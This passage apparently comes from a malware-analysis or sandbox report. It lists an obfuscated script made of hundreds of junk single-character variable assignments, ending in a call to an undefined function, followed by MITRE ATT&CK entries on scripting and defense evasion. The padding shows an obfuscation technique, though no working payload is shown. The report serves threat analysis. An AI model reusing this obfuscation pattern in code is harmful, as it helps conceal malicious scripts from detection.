356	xtoih = "p";
357	xtoih = "F";
358	xtoih = "v";
359	plsmrjw = "c";
360	plsmrjw = "k";
361	plsmrjw = "m";
362	plsmrjw = "E";
363	plsmrjw = "I";
364	plsmrjw = "F";
365	plsmrjw = "V";
366	plsmrjw = "W";
367	plsmrjw = "P";
368	plsmrjw = "Z";
369	plsmrjw = "f";
370	plsmrjw = "w";
371	plsmrjw = "V";
372	plsmrjw = "j";
373	plsmrjw = "i";
374	plsmrjw = "H";
375	plsmrjw = "&";
376	kuafkk = "V";
377	kuafkk = "Z";
378	kuafkk = "b";
379	kuafkk = "q";
380	kuafkk = "J";
381	kuafkk = "s";
382	kuafkk = "N";
383	kuafkk = "F";
384	kuafkk = "K";
385	kuafkk = "F";
386	kuafkk = "J";
387	kuafkk = "S";
388	kuafkk = "d";
389	kuafkk = "a";
390	kuafkk = "C";
391	kuafkk = "z";
392	kuafkk = "k";
393	kuafkk = "o";
394	kuafkk = "b";
395	kuafkk = "P";
396	kuafkk = "h";
397	kuafkk = "j";
398	kuafkk = "E";
399	kuafkk = "a";
400	kuafkk = "C";
401	kuafkk = "Q";
402	kuafkk = "Y";
403	kuafkk = "F";
404	kuafkk = "O";
405	kuafkk = "S";
406	kuafkk = "F";
407	kuafkk = "G";
408	kuafkk = "x";
409	kuafkk = "F";
410	kuafkk = "R";
411	kuafkk = "F";
412	hhbdw = "y";
413	hhbdw = "g";
414	hhbdw = "J";
415	hhbdw = "v";
416	hhbdw = "K";
417	hhbdw = "t";
418	hhbdw = "l";
419	hhbdw = "y";
420	hhbdw = "U";
421	hhbdw = "r";
422	hhbdw = "I";
423	hhbdw = "K";
424	hhbdw = "o";
425	hhbdw = "j";
426	hhbdw = "i";
427	hhbdw = "t";
428	hhbdw = "N";
429	hhbdw = "n";
430	hhbdw = "x";
431	hhbdw = "6";
432	rphgor = "I";
433	rphgor = "Z";
434	rphgor = "B";
435	rphgor = "I";
436	rphgor = "s";
437	rphgor = "g";
438	rphgor = "O";
439	rphgor = "V";
440	rphgor = "x";
441	rphgor = "z";
442	rphgor = "W";
443	rphgor = "r";
444	rphgor = "V";
445	rphgor = "O";
446	rphgor = "D";
447	rphgor = "j";
448	rphgor = "W";
449	rphgor = "c";
450	rphgor = "n";
451	rphgor = "J";
452	rphgor = "V";
453	rphgor = "E";
454	rphgor = "U";
455	kxaelc = "K";
456	kxaelc = "g";
457	kxaelc = "p";
458	kxaelc = "t";
459	kxaelc = "e";
460	kxaelc = "o";
461	kxaelc = "V";
462	kxaelc = "B";
463	kxaelc = "r";
464	kxaelc = "I";
465	kxaelc = "k";
466	kxaelc = "R";
467	kxaelc = "S";
468	kxaelc = "q";
469	kxaelc = "t";
470	kxaelc = "S";
471	kxaelc = "N";
472	kxaelc = "K";
473	kxaelc = "I";
474	kxaelc = "N";
475	kxaelc = "T";
476	kxaelc = "H";
477	kxaelc = "j";
478	kxaelc = "g";
479	kxaelc = "j";
480	kxaelc = "j";
481	kxaelc = "e";
482	kxaelc = "d";
483	kxaelc = "t";
484	kxaelc = "D";
485	kxaelc = "z";
486	kxaelc = "p";
487	kxaelc = "i";
488	kxaelc = "v";
489	kxaelc = "u";
490	kxaelc = "x";
491	kxaelc = "K";
492	kxaelc = "B";
493	kxaelc = "L";
494	kxaelc = "Y";
495	kxaelc = "g";
496	kxaelc = "O";
497	kxaelc = "r";
498	moridceli = "N";
499	moridceli = "e";
500	moridceli = "T";
501	moridceli = "l";
502	moridceli = "V";
503	moridceli = "F";
504	moridceli = "L";
505	moridceli = "z";
506	moridceli = "d";
507	moridceli = "x";
508	moridceli = "n";
509	moridceli = "z";
510	moridceli = "e";
511	moridceli = "r";
512	moridceli = "i";
513	moridceli = "N";
514	moridceli = "V";
515	moridceli = "l";
516	moridceli = "y";
517	moridceli = "m";
518	moridceli = "e";
519	moridceli = "p";
520	moridceli = "r";
521	moridceli = "z";
522	moridceli = "C";
523	moridceli = "P";
524	moridceli = "M";
525	moridceli = "i";
526	moridceli = "Y";
527	moridceli = "l";
528	moridceli = "A";
529	moridceli = "r";
530	moridceli = "R";
531	moridceli = "S";
532	iiebcn = "k";
533	iiebcn = "S";
534	iiebcn = "Q";
535	iiebcn = "d";
536	iiebcn = "Q";
537	iiebcn = "u";
538	iiebcn = "E";
539	iiebcn = "E";
540	iiebcn = "T";
541	iiebcn = "o";
542	iiebcn = "y";
543	iiebcn = "O";
544	iiebcn = "E";
545	iiebcn = "q";
546	iiebcn = "Z";
547	iiebcn = "e";
548	iiebcn = "P";
549	iiebcn = "f";
550	iiebcn = "s";
551	iiebcn = "V";
552	iiebcn = "N";
553	iiebcn = "k";
554	iiebcn = "e";
555	iiebcn = "K";
556	iiebcn = "i";
557	iiebcn = "X";
558	iiebcn = "l";
559	iiebcn = "c";
560	hviillovo = "I";
561	hviillovo = "V";
562	hviillovo = "y";
563	hviillovo = "j";
564	hviillovo = "K";
565	hviillovo = "h";
566	hviillovo = "P";
567	hviillovo = "D";
568	hviillovo = "V";
569	hviillovo = "k";
570	hviillovo = "H";
571	hviillovo = "X";
572	hviillovo = "r";
573	hviillovo = "O";
574	hviillovo = "E";
575	hviillovo = "X";
576	hviillovo = "D";
577	hviillovo = "K";
578	hviillovo = "u";
579	hviillovo = "l";
580	hviillovo = "A";
581	hviillovo = "Q";
582	hviillovo = "P";
583	hviillovo = "n";
584	hviillovo = "e";
585	hviillovo = "Z";
586	hviillovo = "g";
587	hviillovo = "v";
588	hviillovo = "l";
589	hviillovo = "d";
590	hviillovo = "E";
591	fvgqdn = "y";
592	fvgqdn = "p";
593	fvgqdn = "e";
594	fvgqdn = "J";
595	fvgqdn = "Z";
596	fvgqdn = "G";
597	fvgqdn = "w";
598	fvgqdn = "f";
599	fvgqdn = "Q";
600	fvgqdn = "f";
601	fvgqdn = "J";
602	fvgqdn = "z";
603	fvgqdn = "Q";
604	fvgqdn = "m";
605	fvgqdn = "t";
606	fvgqdn = "l";
607	fvgqdn = "D";
608	fvgqdn = "G";
609	fvgqdn = "C";
610	fvgqdn = "O";
611	fvgqdn = "p";
612	fvgqdn = "Q";
613	fvgqdn = "z";
614	fvgqdn = "D";
615	fvgqdn = "A";
616	fvgqdn = "i";
617	fvgqdn = "O";
618	fvgqdn = "E";
619	fvgqdn = "G";
620	fvgqdn = "j";
621	fvgqdn = "a";
622	fvgqdn = "K";
623	fvgqdn = "e";
624	fvgqdn = "M";
625	fvgqdn = "B";
626	fvgqdn = "Y";
627	fvgqdn = "t";
628	gdixsgm = "F";
629	gdixsgm = "f";
630	gdixsgm = "m";
631	gdixsgm = "m";
632	gdixsgm = "u";
633	gdixsgm = "U";
634	gdixsgm = "s";
635	gdixsgm = "D";
636	gdixsgm = "x";
637	gdixsgm = "e";
638	gdixsgm = "b";
639	gdixsgm = "g";
640	gdixsgm = "p";
641	gdixsgm = "i";
642	gdixsgm = "t";
643	gdixsgm = "7";
644	zagmtyo = "B";
645	zagmtyo = "V";
646	zagmtyo = "I";
647	zagmtyo = "Q";
648	zagmtyo = "c";
649	zagmtyo = "Z";
650	zagmtyo = "E";
651	zagmtyo = "b";
652	zagmtyo = "j";
653	zagmtyo = "N";
654	zagmtyo = "E";
655	zagmtyo = "T";
656	zagmtyo = "W";
657	zagmtyo = "H";
658	zagmtyo = "a";
659	zagmtyo = "h";
660	zagmtyo = "e";
661	zagmtyo = "U";
662	zagmtyo = "k";
663	zagmtyo = "Q";
664	zagmtyo = "v";
665	zagmtyo = "y";
666	zagmtyo = "B";
667	zagmtyo = "e";
668	zagmtyo = "m";
669	zagmtyo = "j";
670	zagmtyo = "z";
671	zagmtyo = "J";
672	zagmtyo = "q";
673	zagmtyo = "N";
674	zagmtyo = "h";
675	zagmtyo = "n";
676	zagmtyo = "w";
677	zagmtyo = "5";
678	vfppl = "N";
679	vfppl = "L";
680	vfppl = "O";
681	brlvs = "o";
682	brlvs = "k";
683	brlvs = "P";
684	brlvs = "j";
685	brlvs = "d";
686	brlvs = "Z";
687	brlvs = "D";
688	brlvs = "h";
689	brlvs = "I";
690	brlvs = "T";
691	brlvs = "K";
692	brlvs = "c";
693	brlvs = "P";
694	brlvs = "b";
695	brlvs = "L";
696	brlvs = "N";
697	brlvs = "1";
698	wdqfgvzf = "h";
699	wdqfgvzf = "E";
700	wdqfgvzf = "D";
701	wdqfgvzf = "m";
702	wdqfgvzf = "S";
703	wdqfgvzf = "F";
704	wdqfgvzf = "k";
705	wdqfgvzf = "3";
706	xrfogfgl = "t";
707	xrfogfgl = "i";
708	xrfogfgl = "Y";
709	xrfogfgl = "0";
710	zcqpqlzb = "z";
711	zcqpqlzb = "I";
712	zcqpqlzb = "W";
713	zcqpqlzb = "l";
714	zcqpqlzb = "s";
715	zcqpqlzb = "p";
716	zcqpqlzb = "s";
717	zcqpqlzb = "V";
718	zcqpqlzb = "b";
719	zcqpqlzb = "x";
720	zcqpqlzb = "c";
721	zcqpqlzb = "N";
722	zcqpqlzb = "L";
723	zcqpqlzb = "T";
724	zcqpqlzb = "\"";
725	gwpulgec = "D";
726	gwpulgec = "W";
727	gwpulgec = "E";
728	gwpulgec = "L";
729	gwpulgec = "u";
730	gwpulgec = "R";
731	gwpulgec = "o";
732	gwpulgec = "F";
733	gwpulgec = "e";
734	gwpulgec = "I";
735	gwpulgec = "j";
736	gwpulgec = "F";
737	gwpulgec = "k";
738	gwpulgec = "E";
739	gwpulgec = "w";
740	gwpulgec = "d";
741	gwpulgec = "n";
742	gwpulgec = "y";
743	gwpulgec = "b";
744	gwpulgec = "T";
745	gwpulgec = "A";
746	gwpulgec = "f";
747	gwpulgec = "M";
748	gwpulgec = "E";
749	gwpulgec = "E";
750	gwpulgec = "N";
751	gwpulgec = "w";
752	gwpulgec = "x";
753	gwpulgec = "G";
754	gwpulgec = "l";
755	gwpulgec = "K";
756	gwpulgec = "O";
757	gwpulgec = "z";
758	gwpulgec = "g";
759	gwpulgec = "G";
760	gwpulgec = "m";
761	gwpulgec = "W";
762	gwpulgec = "Y";
763	gwpulgec = "w";
764	gwpulgec = "\\";
765	xzsnbw = "L";
766	xzsnbw = "h";
767	xzsnbw = "O";
768	xzsnbw = "a";
769	xzsnbw = "d";
770	xzsnbw = "o";
771	xzsnbw = "P";
772	xzsnbw = "A";
773	xzsnbw = "J";
774	xzsnbw = "W";
775	xzsnbw = "r";
776	xzsnbw = "w";
777	xzsnbw = "C";
778	xzsnbw = "e";
779	xzsnbw = "e";
780	xzsnbw = "V";
781	xzsnbw = "E";
782	xzsnbw = "b";
783	xzsnbw = "b";
784	pdddfoiob = "L";
785	pdddfoiob = "L";
786	pdddfoiob = "H";
787	pdddfoiob = "r";
788	pdddfoiob = "o";
789	pdddfoiob = "n";
790	pdddfoiob = "n";
791	pdddfoiob = "U";
792	pdddfoiob = "U";
793	pdddfoiob = "L";
794	pdddfoiob = "S";
795	pdddfoiob = "s";
796	pdddfoiob = "F";
797	pdddfoiob = "Y";
798	pdddfoiob = "j";
799	xmhkoiy = "l";
800	xmhkoiy = "j";
801	xmhkoiy = "P";
802	xmhkoiy = "V";
803	xmhkoiy = "F";
804	xmhkoiy = "Z";
805	xmhkoiy = "a";
806	xmhkoiy = "E";
807	xmhkoiy = "w";
808	xmhkoiy = "Q";
809	xmhkoiy = "b";
810	xmhkoiy = "p";
811	xmhkoiy = "f";
812	xmhkoiy = "M";
813	xmhkoiy = "c";
814	xmhkoiy = "h";
815	xmhkoiy = "G";
816	xmhkoiy = "V";
817	xmhkoiy = "i";
818	xmhkoiy = "A";
819	xmhkoiy = "M";
820	xmhkoiy = "Z";
821	xmhkoiy = "A";
822	xmhkoiy = "J";
823	xmhkoiy = "q";
824	xmhkoiy = "F";
825	xmhkoiy = "Q";
826	xmhkoiy = "f";
827	xmhkoiy = "Q";
828	xmhkoiy = "D";
829	xmhkoiy = "z";
830	xmhkoiy = "R";
831	xmhkoiy = "n";
832	xmhkoiy = "o";
833	xmhkoiy = "d";
834	xalku = "p";
835	xalku = "q";
836	xalku = "J";
837	xalku = "k";
838	xalku = "I";
839	xalku = "t";
840	xalku = "B";
841	xalku = "W";
842	xalku = "B";
843	xalku = "L";
844	xalku = "U";
845	xalku = "z";
846	xalku = "M";
847	xalku = "H";
848	xalku = "e";
849	xalku = "k";
850	xalku = "x";
851	xalku = "l";
852	xalku = "H";
853	xalku = "h";
854	uaqoa = "o";
855	uaqoa = "K";
856	uaqoa = "m";
857	uaqoa = "L";
858	uaqoa = "W";
859	uaqoa = "X";
860	uaqoa = "v";
861	uaqoa = "C";
862	uaqoa = "b";
863	uaqoa = "z";
864	uaqoa = "e";
865	uaqoa = "e";
866	uaqoa = "x";
867	uaqoa = "G";
868	uaqoa = "P";
869	uaqoa = "t";
870	uaqoa = "O";
871	uaqoa = "X";
872	uaqoa = "Q";
873	uaqoa = "t";
874	uaqoa = "Q";
875	uphhq = "K";
876	uphhq = "x";
877	uphhq = "g";
878	uphhq = "z";
879	uphhq = "Y";
880	uphhq = "q";
881	uphhq = "f";
882	uphhq = "c";
883	uphhq = "c";
884	uphhq = "H";
885	uphhq = "o";
886	uphhq = "V";
887	uphhq = "h";
888	uphhq = "l";
889	uphhq = "q";
890	uphhq = "E";
891	uphhq = "Z";
892	uphhq = "b";
893	uphhq = "y";
894	uphhq = "i";
895	uphhq = "n";
896	uphhq = "y";
897	uphhq = "x";
898	uphhq = "i";
899	uphhq = "L";
900	uphhq = "Q";
901	uphhq = "f";
902	uphhq = "C";
903	uphhq = "d";
904	uphhq = "W";
905	uphhq = "b";
906	uphhq = "W";
907	uphhq = "A";
908	uphhq = "u";
909	uphhq = "Q";
910	uphhq = "H";
911	uphhq = "e";
912	ghipv = "w";
913	ghipv = "D";
914	ghipv = "r";
915	ghipv = "Y";
916	ghipv = "g";
917	ghipv = "n";
918	ghipv = "h";
919	ghipv = "p";
920	ghipv = "W";
921	ghipv = "N";
922	ghipv = "c";
923	ghipv = "l";
924	ghipv = "n";
925	ghipv = "O";
926	ghipv = "Y";
927	ghipv = "g";
928	xilanm = "G";
929	xilanm = "h";
930	xilanm = "I";
931	xilanm = "o";
932	asggh = "i";
933	asggh = "O";
934	asggh = "b";
935	asggh = "X";
936	asggh = "v";
937	asggh = "N";
938	asggh = "z";
939	asggh = "i";
940	asggh = "X";
941	asggh = "N";
942	asggh = "P";
943	asggh = "W";
944	asggh = "m";
945	asggh = "P";
946	asggh = "Z";
947	asggh = "y";
948	asggh = "t";
949	asggh = "n";
950	asggh = "x";
951	asggh = "u";
952	asggh = "Z";
953	asggh = "G";
954	asggh = "C";
955	asggh = "Z";
956	asggh = "S";
957	asggh = "g";
958	asggh = "h";
959	asggh = "a";
960	asggh = "v";
961	asggh = "W";
962	asggh = "C";
963	fzolykiul = "H";
964	fzolykiul = "i";
965	fzolykiul = "p";
966	fzolykiul = "L";
967	fzolykiul = "s";
968	fzolykiul = "z";
969	fzolykiul = "d";
970	fzolykiul = "q";
971	fzolykiul = "c";
972	fzolykiul = "E";
973	fzolykiul = "C";
974	fzolykiul = "q";
975	fzolykiul = "j";
976	fzolykiul = "i";
977	fzolykiul = "w";
978	fzolykiul = "v";
979	fzolykiul = "w";
980	fzolykiul = "k";
981	fzolykiul = "M";
982	fzolykiul = "F";
983	fzolykiul = "s";
984	fzolykiul = "p";
985	fzolykiul = "n";
986	fzolykiul = "e";
987	fzolykiul = "F";
988	fzolykiul = "Y";
989	lowqgy = "C";
990	lowqgy = "A";
991	lowqgy = "U";
992	lowqgy = "J";
993	lowqgy = "Z";
994	lowqgy = "x";
995	lowqgy = "i";
996	lowqgy = "W";
997	lowqgy = "P";
998	lowqgy = "j";
999	lowqgy = "s";
1000	lowqgy = "G";
1001	lowqgy = "K";
1002	lowqgy = "J";
1003	lowqgy = "P";
1004	bnmjnq = "e";
1005	bnmjnq = "E";
1006	bnmjnq = "h";
1007	bnmjnq = "S";
1008	bnmjnq = "u";
1009	bnmjnq = "j";
1010	bnmjnq = "Y";
1011	bnmjnq = "f";
1012	bnmjnq = "h";
1013	bnmjnq = "T";
1014	bnmjnq = "z";
1015	bnmjnq = "P";
1016	bnmjnq = "L";
1017	bnmjnq = "T";
1018	bnmjnq = "G";
1019	bnmjnq = "P";
1020	bnmjnq = "C";
1021	bnmjnq = "g";
1022	bnmjnq = "X";
1023	bnmjnq = "t";
1024	bnmjnq = "M";
1025	bnmjnq = "U";
1026	bnmjnq = "s";
1027	bnmjnq = "f";
1028	bnmjnq = "x";
1029	bnmjnq = "l";
1030	bnmjnq = "U";
1031	bnmjnq = "U";
1032	bnmjnq = "v";
1033	bnmjnq = "E";
1034	bnmjnq = "i";
1035	bnmjnq = "Y";
1036	bnmjnq = "F";
1037	bnmjnq = "U";
1038	bnmjnq = "I";
1039	bnmjnq = "W";
1040	rjdwbb = "K";
1041	rjdwbb = "O";
1042	rjdwbb = "K";
1043	rjdwbb = "U";
1044	rjdwbb = "s";
1045	rjdwbb = "a";
1046	rjdwbb = "Q";
1047	rjdwbb = "G";
1048	rjdwbb = "n";
1049	rjdwbb = "d";
1050	rjdwbb = "K";
1051	rjdwbb = "n";
1052	rjdwbb = "W";
1053	rjdwbb = "n";
1054	rjdwbb = "A";
1055	rjdwbb = "y";
1056	rjdwbb = "g";
1057	rjdwbb = "I";
1058	rjdwbb = "y";
1059	rjdwbb = "z";
1060	rjdwbb = "S";
1061	rjdwbb = "B";
1062	rjdwbb = "a";
1063	rjdwbb = "Z";
1064	rjdwbb = "F";
1065	rjdwbb = "z";
1066	rjdwbb = "C";
1067	rjdwbb = "G";
1068	rjdwbb = "P";
1069	rjdwbb = "V";
1070	rjdwbb = "H";
1071	rjdwbb = "l";
1072	rjdwbb = "i";
1073	rjdwbb = "j";
1074	rjdwbb = "G";
1075	rjdwbb = "d";
1076	rjdwbb = "i";
1077	rjdwbb = "V";
1078	rjdwbb = "B";
1079	rjdwbb = "j";
1080	rjdwbb = "y";
1081	rjdwbb = "s";
1082	rjdwbb = "8";
1083	cnhqf = "i";
1084	cnhqf = "a";
1085	cnhqf = "o";
1086	cnhqf = "d";
1087	cnhqf = "v";
1088	cnhqf = "U";
1089	cnhqf = "T";
1090	cnhqf = "C";
1091	cnhqf = "X";
1092	cnhqf = "g";
1093	cnhqf = "Z";
1094	cnhqf = "d";
1095	cnhqf = "G";
1096	cnhqf = "i";
1097	dvnlqexj = "H";
1098	dvnlqexj = "g";
1099	dvnlqexj = "O";
1100	dvnlqexj = "k";
1101	dvnlqexj = "l";
1102	dvnlqexj = "U";
1103	dvnlqexj = "n";
1104	dvnlqexj = "p";
1105	dvnlqexj = "w";
1106	dvnlqexj = "N";
1107	dvnlqexj = "V";
1108	dvnlqexj = "x";
1109	oecdyo = "X";
1110	oecdyo = "y";
1111	oecdyo = "J";
1112	oecdyo = "y";
1113	oecdyo = "N";
1114	oecdyo = "L";
1115	oecdyo = "D";
1116	oecdyo = "v";
1117	oecdyo = "K";
1118	oecdyo = "w";
1119	oecdyo = "j";
1120	oecdyo = "T";
1121	oecdyo = "q";
1122	zghlsgz = "Y";
1123	zghlsgz = "i";
1124	zghlsgz = "X";
1125	zghlsgz = "T";
1126	zghlsgz = "e";
1127	zghlsgz = "Q";
1128	zghlsgz = "a";
1129	zghlsgz = "z";
1130	zghlsgz = "k";
1131	zghlsgz = "v";
1132	zghlsgz = "S";
1133	zghlsgz = "I";
1134	zghlsgz = "e";
1135	zghlsgz = "h";
1136	zghlsgz = "J";
1137	zghlsgz = "B";
1138	zghlsgz = "J";
1139	zghlsgz = "x";
1140	zghlsgz = "K";
1141	zghlsgz = "f";
1142	zghlsgz = "T";
1143	zghlsgz = "e";
1144	zghlsgz = "x";
1145	zghlsgz = "V";
1146	zghlsgz = "f";
1147	qowhisn = "L";
1148	qowhisn = "v";
1149	qowhisn = "H";
1150	qowhisn = "w";
1151	qowhisn = "h";
1152	qowhisn = "N";
1153	qowhisn = "K";
1154	qowhisn = "s";
1155	qowhisn = "x";
1156	qowhisn = "a";
1157	qowhisn = "H";
1158	qowhisn = "D";
1159	qowhisn = "p";
1160	qowhisn = "Y";
1161	qowhisn = "C";
1162	qowhisn = "R";
1163	qowhisn = "U";
1164	qowhisn = "t";
1165	qowhisn = "e";
1166	qowhisn = "I";
1167	qowhisn = "q";
1168	qowhisn = "G";
1169	qowhisn = "B";
1170	qowhisn = "B";
1171	qowhisn = "u";
1172	qowhisn = "Y";
1173	qowhisn = "g";
1174	qowhisn = "H";
1175	qowhisn = "i";
1176	qowhisn = "f";
1177	qowhisn = "s";
1178	qowhisn = "P";
1179	qowhisn = "Y";
1180	qowhisn = "R";
1181	qowhisn = "t";
1182	qowhisn = "A";
1183	qowhisn = "p";
1184	qowhisn = "c";
1185	qowhisn = "F";
1186	qowhisn = "M";
1187	qowhisn = "u";
1188	qowhisn = "K";
1189	krxxv = "z";
1190	krxxv = "D";
1191	krxxv = "S";
1192	krxxv = "R";
1193	krxxv = "c";
1194	krxxv = "i";
1195	krxxv = "U";
1196	krxxv = "w";
1197	krxxv = "J";
1198	krxxv = "t";
1199	krxxv = "a";
1200	krxxv = "x";
1201	krxxv = "n";
1202	krxxv = "o";
1203	krxxv = "r";
1204	krxxv = "Y";
1205	krxxv = "Q";
1206	krxxv = "h";
1207	krxxv = "t";
1208	krxxv = "O";
1209	krxxv = "w";
1210	wsavayyj = "U";
1211	wsavayyj = "G";
1212	wsavayyj = "m";
1213	wsavayyj = "m";
1214	wsavayyj = "B";
1215	wsavayyj = "o";
1216	wsavayyj = "K";
1217	wsavayyj = "V";
1218	wsavayyj = "w";
1219	wsavayyj = "Y";
1220	wsavayyj = "M";
1221	wsavayyj = "c";
1222	wsavayyj = "B";
1223	wsavayyj = "l";
1224	wsavayyj = "x";
1225	wsavayyj = "Q";
1226	wsavayyj = "e";
1227	wsavayyj = "g";
1228	wsavayyj = "h";
1229	wsavayyj = "N";
1230	wsavayyj = "P";
1231	wsavayyj = "G";
1232	wsavayyj = "Z";
1233	wsavayyj = "%";
1234	moxkv = "K";
1235	moxkv = "s";
1236	moxkv = "r";
1237	moxkv = "a";
1238	moxkv = "q";
1239	moxkv = "B";
1240	moxkv = "L";
1241	moxkv = "M";
1242	moxkv = "q";
1243	moxkv = "S";
1244	moxkv = "q";
1245	moxkv = "C";
1246	moxkv = "R";
1247	moxkv = "D";
1248	moxkv = "u";
1249	dbqlcslh = "z";
1250	dbqlcslh = "Y";
1251	dbqlcslh = "b";
1252	dbqlcslh = "f";
1253	dbqlcslh = "v";
1254	dbqlcslh = "W";
1255	dbqlcslh = "t";
1256	dbqlcslh = "j";
1257	dbqlcslh = "O";
1258	dbqlcslh = "L";
1259	dbqlcslh = "f";
1260	dbqlcslh = "C";
1261	dbqlcslh = "p";
1262	dbqlcslh = "R";
1263	dbqlcslh = "h";
1264	dbqlcslh = "G";
1265	dbqlcslh = "j";
1266	dbqlcslh = "W";
1267	dbqlcslh = "O";
1268	dbqlcslh = "V";
1269	dbqlcslh = "n";
1270	ektak = "S";
1271	ektak = "z";
1272	ektak = "A";
1273	ektak = "x";
1274	ektak = "x";
1275	ektak = "L";
1276	ektak = "Q";
1277	ektak = "D";
1278	ektak = "Q";
1279	ektak = "e";
1280	ektak = "i";
1281	ektak = "c";
1282	ektak = "V";
1283	ektak = "e";
1284	ektak = "b";
1285	ektak = "N";
1286	ektak = "l";
1287	ohpksmr = "F";
1288	ohpksmr = "V";
1289	ohpksmr = "Q";
1290	ohpksmr = "B";
1291	ohpksmr = "w";
1292	ohpksmr = "o";
1293	ohpksmr = "G";
1294	ohpksmr = "v";
1295	ohpksmr = "C";
1296	ohpksmr = "G";
1297	ohpksmr = "n";
1298	ohpksmr = "e";
1299	ohpksmr = "q";
1300	ohpksmr = "G";
1301	ohpksmr = "P";
1302	ohpksmr = "p";
1303	ohpksmr = "W";
1304	ohpksmr = "P";
1305	ohpksmr = "m";
1306	ohpksmr = "A";
1307	ohpksmr = "B";
1308	ohpksmr = "g";
1309	ohpksmr = "F";
1310	ohpksmr = "w";
1311	ohpksmr = "x";
1312	ohpksmr = "x";
1313	ohpksmr = "Y";
1314	ohpksmr = "j";
1315	ohpksmr = "P";
1316	ohpksmr = "E";
1317	ohpksmr = "Y";
1318	ohpksmr = "J";
1319	ohpksmr = "A";
1320	ohpksmr = "D";
1321	ohpksmr = "c";
1322	ohpksmr = "B";
1323	ohpksmr = "y";
1324	ohpksmr = "l";
1325	ohpksmr = "Z";
1326	ohpksmr = "F";
1327	ohpksmr = "N";
1328	dykxgfrfw = "u";
1329	dykxgfrfw = "N";
1330	dykxgfrfw = "b";
1331	dykxgfrfw = "W";
1332	dykxgfrfw = "X";
1333	dykxgfrfw = "e";
1334	dykxgfrfw = "N";
1335	dykxgfrfw = "F";
1336	dykxgfrfw = "f";
1337	dykxgfrfw = "P";
1338	dykxgfrfw = "p";
1339	dykxgfrfw = "x";
1340	dykxgfrfw = "-";
1341	lqjicr = "E";
1342	lqjicr = "x";
1343	lqjicr = "T";
1344	lqjicr = "s";
1345	lqjicr = "Q";
1346	lqjicr = "A";
1347	lqjicr = "z";
1348	lqjicr = "N";
1349	lqjicr = "E";
1350	lqjicr = "u";
1351	lqjicr = "u";
1352	lqjicr = "K";
1353	lqjicr = "v";
1354	lqjicr = "K";
1355	lqjicr = "H";
1356	pbyhqiomi = "z";
1357	pbyhqiomi = "F";
1358	pbyhqiomi = "D";
1359	pbyhqiomi = "g";
1360	pbyhqiomi = "J";
1361	pbyhqiomi = "z";
1362	pbyhqiomi = "p";
1363	pbyhqiomi = "z";
1364	pbyhqiomi = "K";
1365	pbyhqiomi = "o";
1366	pbyhqiomi = "l";
1367	pbyhqiomi = "H";
1368	pbyhqiomi = "U";
1369	pbyhqiomi = "W";
1370	pbyhqiomi = "t";
1371	pbyhqiomi = "K";
1372	pbyhqiomi = "q";
1373	pbyhqiomi = "Z";
1374	pbyhqiomi = "j";
1375	pbyhqiomi = "d";
1376	pbyhqiomi = "E";
1377	pbyhqiomi = "L";
1378	pbyhqiomi = "J";
1379	pbyhqiomi = "Q";
1380	pbyhqiomi = "t";
1381	pbyhqiomi = "A";
1382	pbyhqiomi = "K";
1383	pbyhqiomi = "O";
1384	pbyhqiomi = "b";
1385	pbyhqiomi = "W";
1386	pbyhqiomi = "n";
1387	pbyhqiomi = "g";
1388	pbyhqiomi = "g";
1389	pbyhqiomi = "O";
1390	pbyhqiomi = "N";
1391	pbyhqiomi = "l";
1392	pbyhqiomi = "h";
1393	pbyhqiomi = "k";
1394	pbyhqiomi = "F";
1395	pbyhqiomi = "A";
1396	pbyhqiomi = "d";
1397	pbyhqiomi = "n";
1398	pbyhqiomi = "x";
1399	pbyhqiomi = "S";
1400	pbyhqiomi = "a";
1401	zzgzpp = "u";
1402	zzgzpp = "S";
1403	zzgzpp = "o";
1404	zzgzpp = "Q";
1405	zzgzpp = "n";
1406	zzgzpp = "B";
1407	zzgzpp = "i";
1408	zzgzpp = "h";
1409	zzgzpp = "P";
1410	zzgzpp = "y";
1411	zzgzpp = "N";
1412	zzgzpp = "X";
1413	zzgzpp = "B";
1414	zzgzpp = "G";
1415	zzgzpp = "B";
1416	zzgzpp = "h";
1417	zzgzpp = "n";
1418	zzgzpp = "A";
1419	zzgzpp = "z";
1420	zzgzpp = "F";
1421	zzgzpp = "G";
1422	zzgzpp = "l";
1423	zzgzpp = "L";
1424	zzgzpp = "S";
1425	zzgzpp = "F";
1426	zzgzpp = "w";
1427	zzgzpp = "M";
1428	zzgzpp = "O";
1429	zzgzpp = "U";
1430	zzgzpp = "d";
1431	zzgzpp = "x";
1432	zzgzpp = "_";
1433	oucsufggz = "I";
1434	oucsufggz = "E";
1435	oucsufggz = "e";
1436	oucsufggz = "j";
1437	oucsufggz = "x";
1438	oucsufggz = "P";
1439	oucsufggz = "s";
1440	oucsufggz = "w";
1441	oucsufggz = "D";
1442	oucsufggz = "g";
1443	oucsufggz = "q";
1444	oucsufggz = "r";
1445	oucsufggz = "h";
1446	oucsufggz = "Y";
1447	oucsufggz = "v";
1448	oucsufggz = "X";
1449	oucsufggz = "I";
1450	oucsufggz = "Y";
1451	oucsufggz = "n";
1452	oucsufggz = "w";
1453	oucsufggz = "a";
1454	oucsufggz = "X";
1455	oucsufggz = "f";
1456	oucsufggz = "i";
1457	oucsufggz = "l";
1458	oucsufggz = "z";
1459	oucsufggz = "D";
1460	oucsufggz = "c";
1461	oucsufggz = "R";
1462	oucsufggz = "t";
1463	oucsufggz = "d";
1464	oucsufggz = "c";
1465	oucsufggz = "O";
1466	oucsufggz = "A";
1467	oucsufggz = "b";
1468	oucsufggz = "V";
1469	oucsufggz = "q";
1470	oucsufggz = "y";
1471	oucsufggz = "c";
1472	oucsufggz = "u";
1473	oucsufggz = "m";
1474	wmnrrcf ( );	wmnrrcf() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

